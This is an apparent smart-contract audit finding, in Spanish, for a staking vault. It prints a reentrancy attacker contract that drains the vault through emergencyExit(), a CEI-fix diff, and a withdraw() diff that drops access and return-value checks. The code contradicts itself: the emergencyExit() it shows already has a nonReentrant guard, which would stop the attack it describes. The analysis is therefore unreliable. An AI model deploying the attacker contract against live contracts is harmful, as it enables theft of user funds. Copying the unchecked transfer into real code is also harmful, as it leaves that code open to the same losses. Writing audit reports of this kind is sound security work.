NutriChain Protocol — Revisión de Seguridad

La nueva función emergencyExit() viola el patrón CEI (Checks-Effects-Interactions): ejecuta el call externo antes de actualizar el estado balances[msg.sender] = 0. Un atacante con un contrato malicioso puede llamar recursivamente a emergencyExit() durante el callback ETH y vaciar el vault completo.

// Contrato atacante
contract ReentrancyAttack {
    StakingVault vault;
    uint public attackCount;
    
    receive() external payable {
        if (attackCount < 10) {
            attackCount++;
            vault.emergencyExit(); // Recursive call — balance no se ha zeroeado
        }
    }
    
    function attack() external payable {
        vault.deposit{value: msg.value}();
        vault.emergencyExit(); // Dispara la cadena
    }
}

function emergencyExit() external nonReentrant {
    uint256 bal = balances[msg.sender];
    require(bal > 0, "No balance");
+   balances[msg.sender] = 0;           // Estado primero (CEI)
    (bool success,) = msg.sender.call{value: bal}("");
    require(success, "Transfer failed");
-   balances[msg.sender] = 0;           // ❌ Estado DESPUÉS del call
}

La migración a 0.8.20 eliminó el check require(msg.sender == owner) de la función withdraw(). Aunque la lógica "optimizada" usa balances[msg.sender] para limitar el retiro al balance del caller, la eliminación del check de ownership rompe el modelo de confianza en contratos que delegan en StakingVault asumiendo que sólo el owner puede retirar fondos del protocolo.

- function withdraw(uint256 amount) external {
-     require(msg.sender == owner, "Unauthorized");  // ❌ ELIMINADO
-     require(amount > 0, "Zero amount");            // ❌ ELIMINADO
-     require(balances[msg.sender] >= amount, "Insufficient");
-     balances[msg.sender] = balances[msg.sender].sub(amount);
-     NUTR.safeTransfer(msg.sender, amount);         // ❌ SafeERC20 eliminado
- }
+ function withdraw(uint256 amount) external {
+     require(balances[msg.sender] >= amount, "Insufficient");
+     balances[msg.sender] -= amount;
+     NUTR.transfer(msg.sender, amount);  // Retorno no verificado
+ }